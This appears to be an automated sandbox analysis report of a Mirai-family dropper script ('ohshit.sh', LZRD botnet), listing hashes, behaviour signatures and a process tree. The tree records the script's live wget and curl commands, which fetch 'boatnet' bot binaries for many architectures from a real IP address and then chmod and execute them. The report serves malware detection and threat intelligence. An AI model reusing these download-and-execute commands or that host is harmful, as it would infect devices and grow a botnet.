Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17-12-2024 06:26

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    14099ca3ba60ee276a8d96c4b47cd58f

  • SHA1

    d46e02797df3f7be4bf440003b2296ffe8992451

  • SHA256

    e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5

  • SHA512

    249ced36cbe0e9ab7f4dabbcfcc1891e3fc582f6ab523a22a3f5bddfc3d9ce83686152cda53a6b4b922fee3b3b5b28436f3342ed31b15fea0a324b0c2f30dab9

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1495
    • /usr/bin/wget
      wget http://147.45.125.26/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1496
    • /usr/bin/curl
      curl -O http://147.45.125.26/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1501
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1502
      • /bin/chmod
        chmod +x boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1503
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1504
      • /usr/bin/wget
        wget http://147.45.125.26/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1508
      • /usr/bin/curl
        curl -O http://147.45.125.26/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1509
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1511
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1512
      • /usr/bin/wget
        wget http://147.45.125.26/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1516
      • /usr/bin/curl
        curl -O http://147.45.125.26/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1517
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1519
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1520
      • /usr/bin/wget
        wget http://147.45.125.26/hiddenbin/boatnet.i468
        2⤵
          PID:1524
        • /usr/bin/curl
          curl -O http://147.45.125.26/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1525
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1527
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1528
        • /usr/bin/wget
          wget http://147.45.125.26/hiddenbin/boatnet.i686
          2⤵
            PID:1532
          • /usr/bin/curl
            curl -O http://147.45.125.26/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1533
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1535
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1536
          • /usr/bin/wget
            wget http://147.45.125.26/hiddenbin/boatnet.x86_64
            2⤵
              PID:1540
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1541
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1543
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1544
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1548
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1551
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-THjHIc systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1557
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1558
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1562
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1563
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-pjTXHm systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1571
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1572
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1576
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1577
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-pjTXHm systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1579
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1580
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1584
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1591
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-5C9n9f systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1596
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1597
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1601
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1607
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1615
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1616
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1620
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1621
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1623
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1624
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1628
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1629
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1631
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1632
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1636
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1637
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1639
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1640
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1644
            • /usr/bin/curl
              curl -O http://147.45.125.26/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1645
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1647
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1648

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            20KB

            MD5

            e91063f55319252533dd4b79524515e8

            SHA1

            f6d254d0a708dd18917a3db48eec8b27fd2c7526

            SHA256

            81a71e612fb13a5d427bac91e1194caee587393ef18b7bf19ed41ace248ce603

            SHA512

            ce06b49dede7b5101d49a4cdb2959d44f4da5824e8d8d1bced490e9245e14b540c621f68960be9a14620b5800aa3136363295b269f95f10dd68782fdfba435f5